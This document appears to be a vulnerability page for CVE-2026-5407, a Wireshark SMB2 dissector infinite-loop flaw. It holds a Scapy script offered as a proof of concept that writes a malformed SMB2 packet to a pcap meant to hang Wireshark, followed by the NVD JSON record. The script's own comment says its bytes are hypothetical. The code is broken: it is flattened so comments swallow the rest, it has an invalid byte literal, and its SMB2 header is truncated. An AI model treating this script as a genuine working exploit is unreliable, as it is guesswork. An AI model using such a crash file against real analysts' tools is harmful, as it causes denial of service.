CVE-2026-5407

from scapy.all import * # Define a malformed SMB2 packet intended to trigger the infinite loop # Note: Specific offsets and bytes are hypothetical and based on the vulnerability description. def build_malformed_smb2(): # Ethernet header eth = Ether(dst="ff:ff:ff:ff:ff:ff", src="00:00:00:00:00:00", type=0x0800) # IP header ip = IP(src="192.168.1.100", dst="192.168.1.200") # TCP header tcp = TCP(sport=445, dport=50000, flags="PA", seq=1000, ack=2000) # SMB2 Header structure (simplified) # The vulnerability might be triggered by a specific command or malformed chaining smb2_header = b"\xfe\x53\x4d\x42" # SMB2 Magic smb2_header += b"\x40\x00" # Structure Size (64 bytes) smb2_header += b"\x01\x00" # Credit Charge smb2_header += b"\x00\x00\x00\x00" # Status smb2_header += b"\x00\x00" # Command (e.g., IOCTL or Negotiate) smb2_header += b"\x3f\x00" # Credits requested smb2_header += b"\x00" # Flags smb2_header += b"\x00" # Next Command smb2_header += b"\x00\x00" # Message ID # Append a payload that causes the dissector to loop # This might involve a nested structure or invalid length field malicious_payload = b"\x" * 100 # Assemble packet packet = eth / ip / tcp / Raw(smb2_header + malicious_payload) return packet # Generate and save to pcap packets = [build_malformed_smb2()] wrpcap("cve_2026_5407_poc.pcap", packets) print("PoC file generated: cve_2026_5407_poc.pcap")

{"cve": {"id": "CVE-2026-5407", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:38.140", "lastModified": "2026-05-01T19:25:47.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SMB2 protocol dissector infinite loop in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/issues/21073", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-11.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21073", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}